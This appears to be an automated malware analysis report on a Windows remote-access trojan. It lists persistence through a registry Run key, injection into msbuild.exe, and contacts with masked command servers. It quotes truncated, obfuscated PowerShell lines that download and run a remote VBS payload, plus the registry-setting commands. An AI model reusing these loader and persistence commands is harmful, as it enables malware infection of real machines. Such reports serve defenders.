Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%APPDATA%\adobe.vbs'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://www.or######stsurukyo.com.br/arquivos/revenge.vbs'',$env:APPDATA+''\\''+''...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $dkjkdjkdjdkjdkdjkdjdkjdkdjdkdjkddksjksjsk=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\msbuild.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\msbuild.exe
Modifies file system
Creates the following files
- %APPDATA%\adobe.vbs
Network activity
TCP
- 'or######stsurukyo.com.br':443
- 'qu#####2.duckdns.org':333
UDP
- DNS ASK or######stsurukyo.com.br
- DNS ASK qu#####2.duckdns.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%APPDATA%\adobe.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\adobe.vbs'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://www.or######stsurukyo.com.br/arquivos/revenge.vbs'',$env:APPDATA+''\\''+''...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $dkjkdjkdjdkjdkdjkdjdkjdkdjdkdjkddksjksjsk=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\adobe.vbs'' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework\v2.0.50727\msbuild.exe'
